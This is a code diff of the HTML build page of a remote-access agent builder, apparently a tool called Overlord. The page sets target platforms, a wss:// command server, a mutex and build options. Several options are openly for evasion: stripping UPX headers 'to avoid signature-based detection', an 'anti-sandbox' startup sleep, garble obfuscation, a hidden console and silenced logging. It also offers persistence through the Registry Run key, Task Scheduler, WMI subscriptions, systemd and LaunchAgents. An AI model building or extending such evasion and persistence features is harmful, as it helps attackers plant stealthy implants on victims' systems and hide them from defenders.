||||||
value="linux-arm64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARM64</span>
|
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARM64</span>
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
|
<input type="checkbox" name="platform" value="linux-armv7" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="linux-armv7"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARMv7</span>
|
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARMv7</span>
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors"
|
<input type="checkbox" name="platform" value="darwin-amd64" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="darwin-amd64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS x64</span>
|
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS x64</span>
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-white transition-colors"
|
<input type="checkbox" name="platform" value="darwin-arm64" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="darwin-arm64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS ARM64</span>
|
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS ARM64</span>
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors"
|
<input type="checkbox" name="platform" value="freebsd-amd64" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="freebsd-amd64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD x64</span>
|
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD x64</span>
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors"
|
<input type="checkbox" name="platform" value="freebsd-arm64" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="freebsd-arm64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD ARM64</span>
|
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD ARM64</span>
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors"
|
<input type="checkbox" name="platform" value="android-arm64" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="android-arm64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-android text-green-400"></i> Android ARM64</span>
|
<span><i class="fa-brands fa-android text-green-400"></i> Android ARM64</span>
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors"
|
<input type="checkbox" name="platform" value="android-amd64" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="android-amd64"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-android text-green-400"></i> Android x64</span>
|
<span><i class="fa-brands fa-android text-green-400"></i> Android x64</span>
|
||||||
</label>
|
</label>
|
||||||
<label
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors"
|
<input type="checkbox" name="platform" value="android-armv7" class="w-4 h-4" />
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="platform"
|
|
||||||
value="android-armv7"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span><i class="fa-brands fa-android text-green-400"></i> Android ARMv7</span>
|
<span><i class="fa-brands fa-android text-green-400"></i> Android ARMv7</span>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- == Section 2: Connection & Identity (open) == -->
|
||||||
|
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true">
|
||||||
|
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||||
|
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||||
|
<i class="fa-solid fa-plug text-slate-400"></i> Connection & Identity
|
||||||
|
</span>
|
||||||
|
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
|
||||||
|
</button>
|
||||||
|
<div class="accordion-body">
|
||||||
|
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-4">
|
||||||
|
|
||||||
<!-- Server URL -->
|
|
||||||
<div>
|
<div>
|
||||||
<label
|
<label class="block text-sm font-medium text-slate-300 mb-2" for="server-url">Server URL</label>
|
||||||
class="block text-sm font-medium text-slate-300 mb-2"
|
<input type="text" id="server-url" name="server-url" placeholder="wss://your-server:5173"
|
||||||
for="server-url"
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
>
|
|
||||||
Server URL
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
id="server-url"
|
|
||||||
name="server-url"
|
|
||||||
placeholder="wss://your-server:5173"
|
|
||||||
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
|
|
||||||
/>
|
|
||||||
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
|
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
|
||||||
<input type="checkbox" id="raw-server-list" name="raw-server-list" class="w-4 h-4" />
|
<input type="checkbox" id="raw-server-list" name="raw-server-list" class="w-4 h-4" />
|
||||||
Use raw HTTPS server list (fetches multiple wss:// endpoints)
|
Use raw HTTPS server list (fetches multiple wss:// endpoints)
|
||||||
</label>
|
</label>
|
||||||
<p class="text-xs text-slate-500 mt-1">
|
<p class="text-xs text-slate-500 mt-1">
|
||||||
When enabled, the URL above must be a raw HTTPS link that contains one wss:// endpoint per line.
|
When enabled, the URL above must be a raw HTTPS link with one wss:// endpoint per line.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Output Name -->
|
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2" for="output-name">
|
<label class="block text-sm font-medium text-slate-300 mb-2" for="output-name">Output Filename</label>
|
||||||
Output Filename
|
<input type="text" id="output-name" name="output-name" placeholder="agent (default)"
|
||||||
</label>
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
id="output-name"
|
|
||||||
name="output-name"
|
|
||||||
placeholder="agent (default)"
|
|
||||||
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-slate-500 mt-1">
|
<p class="text-xs text-slate-500 mt-1">
|
||||||
Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)
|
Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Mutex -->
|
|
||||||
<div>
|
<div>
|
||||||
<label
|
<label class="block text-sm font-medium text-slate-300 mb-2" for="mutex">Mutex (Single-Instance Key)</label>
|
||||||
class="block text-sm font-medium text-slate-300 mb-2"
|
<input type="text" id="mutex" name="mutex" placeholder="Leave empty for random"
|
||||||
for="mutex"
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
|
||||||
>
|
<p class="text-xs text-slate-500 mt-1">Optional: set a fixed key or leave empty to auto-generate</p>
|
||||||
Mutex (Single-Instance Key)
|
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
id="mutex"
|
|
||||||
name="mutex"
|
|
||||||
placeholder="Leave empty for random"
|
|
||||||
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-slate-500 mt-1">
|
|
||||||
Optional: Set a fixed mutex or leave empty to auto-generate
|
|
||||||
</p>
|
|
||||||
<label
|
|
||||||
class="mt-2 flex items-center gap-2 text-xs text-slate-400"
|
|
||||||
>
|
|
||||||
<input type="checkbox" name="disable-mutex" class="w-4 h-4" />
|
<input type="checkbox" name="disable-mutex" class="w-4 h-4" />
|
||||||
Disable mutex (allow multiple instances)
|
Disable mutex (allow multiple instances)
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Build Options -->
|
|
||||||
<div>
|
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2"
|
|
||||||
>Build Options</label
|
|
||||||
>
|
|
||||||
<div class="flex flex-col gap-2">
|
|
||||||
<label
|
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-400 transition-colors"
|
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="strip-debug"
|
|
||||||
class="w-4 h-4"
|
|
||||||
checked
|
|
||||||
/>
|
|
||||||
<span class="flex items-center gap-2"><i class="fa-solid fa-bug-slash text-emerald-400"></i> Strip debug symbols (-s -w)</span>
|
|
||||||
</label>
|
|
||||||
<label
|
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-400 transition-colors"
|
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="disable-cgo"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<span class="flex items-center gap-2"><i class="fa-solid fa-ban text-emerald-400"></i> Disable CGO</span>
|
|
||||||
</label>
|
|
||||||
<label
|
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors"
|
|
||||||
title="Build with garble for obfuscation (requires garble installed on the server)"
|
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="obfuscate"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<div class="flex flex-col">
|
|
||||||
<span class="flex items-center gap-2"
|
|
||||||
><i class="fa-solid fa-mask text-purple-400"></i>
|
|
||||||
Obfuscate (garble)</span
|
|
||||||
>
|
|
||||||
<span class="text-xs text-slate-500"
|
|
||||||
>Build with garble for code obfuscation</span
|
|
||||||
>
|
|
||||||
</div>
|
|
||||||
</label>
|
|
||||||
<label
|
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
|
|
||||||
title="Enable automatic startup on system boot (disabled by default for security)"
|
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="enable-persistence"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<div class="flex flex-col">
|
|
||||||
<span class="flex items-center gap-2"
|
|
||||||
><i class="fa-solid fa-power-off text-orange-400"></i>
|
|
||||||
Enable Persistence (Auto-start)</span
|
|
||||||
>
|
|
||||||
<span class="text-xs text-slate-500"
|
|
||||||
>Agent will start automatically with system boot</span
|
|
||||||
>
|
|
||||||
</div>
|
|
||||||
</label>
|
|
||||||
<div
|
|
||||||
id="persistence-method-container"
|
|
||||||
class="hidden pl-3 border-l-2 border-orange-500/40 space-y-3"
|
|
||||||
>
|
|
||||||
<div id="persistence-empty-state" class="hidden text-xs text-slate-500">
|
|
||||||
No supported persistence targets selected. Select Windows, Linux, or macOS targets to configure persistence.
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div id="persistence-windows-settings" class="hidden" data-persistence-os="windows">
|
|
||||||
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
|
||||||
<i class="fa-brands fa-windows text-blue-400"></i>
|
|
||||||
Windows Persistence Settings
|
|
||||||
</div>
|
|
||||||
<label
|
|
||||||
class="block text-xs font-medium text-slate-400 mb-1"
|
|
||||||
for="persistence-method"
|
|
||||||
>Persistence Method</label
|
|
||||||
>
|
|
||||||
<select
|
|
||||||
id="persistence-method"
|
|
||||||
name="persistence-method"
|
|
||||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
|
|
||||||
>
|
|
||||||
<option value="startup">Startup Folder (APPDATA)</option>
|
|
||||||
<option value="registry">Registry (HKCU Run key)</option>
|
|
||||||
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
|
|
||||||
<option value="wmi">WMI Subscription (requires admin)</option>
|
|
||||||
</select>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
|
|
||||||
<div class="text-xs font-semibold text-slate-300 mb-1 flex items-center gap-2">
|
|
||||||
<i class="fa-brands fa-linux text-amber-400"></i>
|
|
||||||
Linux Persistence Settings
|
|
||||||
</div>
|
|
||||||
<p class="text-xs text-slate-500">
|
|
||||||
Uses user-level <code>systemd</code> service when available; falls back to desktop autostart.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div id="persistence-macos-settings" class="hidden" data-persistence-os="darwin">
|
|
||||||
<div class="text-xs font-semibold text-slate-300 mb-1 flex items-center gap-2">
|
|
||||||
<i class="fa-brands fa-apple text-slate-200"></i>
|
|
||||||
macOS Persistence Settings
|
|
||||||
</div>
|
|
||||||
<p class="text-xs text-slate-500">
|
|
||||||
Uses <code>LaunchAgents</code> (<code>com.overlord.agent.plist</code>) for login persistence.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<label
|
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
|
|
||||||
title="Windows only: build without a console window"
|
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="hide-console"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<div class="flex flex-col">
|
|
||||||
<span class="flex items-center gap-2"
|
|
||||||
><i class="fa-solid fa-window-minimize text-emerald-400"></i>
|
|
||||||
Hide Console Window
|
|
||||||
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows</span></span
|
|
||||||
>
|
|
||||||
<span class="text-xs text-slate-500"
|
|
||||||
>Builds Windows EXEs as GUI apps (no console)</span
|
|
||||||
>
|
|
||||||
</div>
|
|
||||||
</label>
|
|
||||||
<label
|
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-rose-500 transition-colors"
|
|
||||||
title="Disable all client-side printing/logging output"
|
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="no-printing"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<div class="flex flex-col">
|
|
||||||
<span class="flex items-center gap-2"
|
|
||||||
><i class="fa-solid fa-volume-xmark text-rose-400"></i>
|
|
||||||
Disable Client Printing</span
|
|
||||||
>
|
|
||||||
<span class="text-xs text-slate-500"
|
|
||||||
>Silence all stdout/stderr and log output</span
|
|
||||||
>
|
|
||||||
</div>
|
|
||||||
</label>
|
|
||||||
<label
|
|
||||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors"
|
|
||||||
title="Compress binaries with UPX to reduce file size"
|
|
||||||
>
|
|
||||||
<input
|
|
||||||
type="checkbox"
|
|
||||||
name="enable-upx"
|
|
||||||
class="w-4 h-4"
|
|
||||||
/>
|
|
||||||
<div class="flex flex-col">
|
|
||||||
<span class="flex items-center gap-2"
|
|
||||||
><i class="fa-solid fa-compress text-cyan-400"></i>
|
|
||||||
UPX Compression</span
|
|
||||||
>
|
|
||||||
<span class="text-xs text-slate-500"
|
|
||||||
>Compress binaries with UPX (requires UPX installed on server)</span
|
|
||||||
>
|
|
||||||
</div>
|
|
||||||
</label>
|
|
||||||
<div
|
|
||||||
id="upx-settings-container"
|
|
||||||
class="hidden pl-3 border-l-2 border-cyan-500/40"
|
|
||||||
>
|
|
||||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
|
|
||||||
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
|
|
||||||
<div class="flex flex-col">
|
|
||||||
<span>Strip UPX Headers</span>
|
|
||||||
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
|
|
||||||
</div>
|
|
||||||
</label>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Garble Settings (shown when obfuscate is checked) -->
|
<!-- == Section 3: Build Options (open) == -->
|
||||||
<div id="garble-settings-container" class="hidden">
|
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true">
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2">
|
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||||
<i class="fa-solid fa-mask text-purple-400"></i> Garble Settings
|
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||||
|
<i class="fa-solid fa-sliders text-slate-400"></i> Build Options
|
||||||
|
</span>
|
||||||
|
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
|
||||||
|
</button>
|
||||||
|
<div class="accordion-body">
|
||||||
|
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-2">
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-400 transition-colors">
|
||||||
|
<input type="checkbox" name="strip-debug" class="w-4 h-4" checked />
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-bug-slash text-emerald-400"></i> Strip debug symbols (-s -w)
|
||||||
|
</span>
|
||||||
</label>
|
</label>
|
||||||
<div class="flex flex-col gap-2 pl-3 border-l-2 border-purple-500/40">
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-400 transition-colors">
|
||||||
|
<input type="checkbox" name="disable-cgo" class="w-4 h-4" />
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-ban text-emerald-400"></i> Disable CGO
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-rose-500 transition-colors">
|
||||||
|
<input type="checkbox" name="no-printing" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-volume-xmark text-rose-400"></i> Disable Client Printing
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Silence all stdout/stderr and log output</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors">
|
||||||
|
<input type="checkbox" name="obfuscate" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-mask text-purple-400"></i> Obfuscate (garble)
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Build with garble for code obfuscation</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<div id="garble-settings-container" class="hidden pl-3 border-l-2 border-purple-500/40 flex flex-col gap-2">
|
||||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
|
||||||
<input type="checkbox" name="garble-literals" class="w-4 h-4" />
|
<input type="checkbox" name="garble-literals" class="w-4 h-4" />
|
||||||
<div class="flex flex-col">
|
<div class="flex flex-col">
|
||||||
@@ -479,7 +241,7 @@
|
|||||||
<input type="checkbox" name="garble-tiny" class="w-4 h-4" />
|
<input type="checkbox" name="garble-tiny" class="w-4 h-4" />
|
||||||
<div class="flex flex-col">
|
<div class="flex flex-col">
|
||||||
<span>Tiny Mode (-tiny)</span>
|
<span>Tiny Mode (-tiny)</span>
|
||||||
<span class="text-xs text-slate-500">Remove extra info like filenames and line numbers from panics</span>
|
<span class="text-xs text-slate-500">Remove filenames and line numbers from panics</span>
|
||||||
</div>
|
</div>
|
||||||
</label>
|
</label>
|
||||||
<div>
|
<div>
|
||||||
@@ -489,13 +251,141 @@
|
|||||||
<p class="text-xs text-slate-500 mt-1">Alphanumeric seed for reproducible builds</p>
|
<p class="text-xs text-slate-500 mt-1">Alphanumeric seed for reproducible builds</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors">
|
||||||
|
<input type="checkbox" name="enable-upx" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-compress text-cyan-400"></i> UPX Compression
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Compress binaries with UPX (requires UPX on server)</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<div id="upx-settings-container" class="hidden pl-3 border-l-2 border-cyan-500/40">
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
|
||||||
|
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span>Strip UPX Headers</span>
|
||||||
|
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Windows Assembly / PE Metadata -->
|
<div class="flex flex-col gap-1">
|
||||||
|
<label class="block text-xs font-medium text-slate-400 mb-1" for="sleep-seconds">
|
||||||
|
<i class="fa-solid fa-hourglass-half text-yellow-400"></i> Startup Sleep (seconds)
|
||||||
|
</label>
|
||||||
|
<input type="number" id="sleep-seconds" name="sleep-seconds" value="0"
|
||||||
|
min="0" max="3600" step="1"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-yellow-500 transition-colors" />
|
||||||
|
<p class="text-xs text-slate-500">Sleep N seconds before connecting (anti-sandbox). Set to 0 to disable.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- == Section 4: Persistence (collapsed) == -->
|
||||||
|
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="false">
|
||||||
|
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||||
|
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||||
|
<i class="fa-solid fa-power-off text-orange-400"></i>
|
||||||
|
Persistence
|
||||||
|
<span class="text-xs text-slate-500 font-normal">Auto-start on boot</span>
|
||||||
|
</span>
|
||||||
|
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
|
||||||
|
</button>
|
||||||
|
<div class="accordion-body">
|
||||||
|
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-2">
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||||
|
<input type="checkbox" name="enable-persistence" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-power-off text-orange-400"></i> Enable Persistence
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Agent will start automatically with system boot</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<div id="persistence-method-container" class="hidden pl-3 border-l-2 border-orange-500/40 flex flex-col gap-3">
|
||||||
|
<div id="persistence-empty-state" class="hidden text-xs text-slate-500 pt-1">
|
||||||
|
No supported persistence targets selected. Select Windows, Linux, or macOS targets to configure persistence.
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="persistence-windows-settings" class="hidden" data-persistence-os="windows">
|
||||||
|
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
||||||
|
<i class="fa-brands fa-windows text-blue-400"></i> Windows Persistence Method
|
||||||
|
</div>
|
||||||
|
<select id="persistence-method" name="persistence-method"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors">
|
||||||
|
<option value="startup">Startup Folder (APPDATA)</option>
|
||||||
|
<option value="registry">Registry (HKCU Run key)</option>
|
||||||
|
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
|
||||||
|
<option value="wmi">WMI Subscription (requires admin)</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
|
||||||
|
<div class="text-xs font-semibold text-slate-300 mb-1 flex items-center gap-2">
|
||||||
|
<i class="fa-brands fa-linux text-amber-400"></i> Linux Persistence
|
||||||
|
</div>
|
||||||
|
<p class="text-xs text-slate-500">
|
||||||
|
Uses user-level <code>systemd</code> service when available; falls back to desktop autostart.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="persistence-macos-settings" class="hidden" data-persistence-os="darwin">
|
||||||
|
<div class="text-xs font-semibold text-slate-300 mb-1 flex items-center gap-2">
|
||||||
|
<i class="fa-brands fa-apple text-slate-200"></i> macOS Persistence
|
||||||
|
</div>
|
||||||
|
<p class="text-xs text-slate-500">
|
||||||
|
Uses <code>LaunchAgents</code> (<code>com.overlord.agent.plist</code>) for login persistence.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
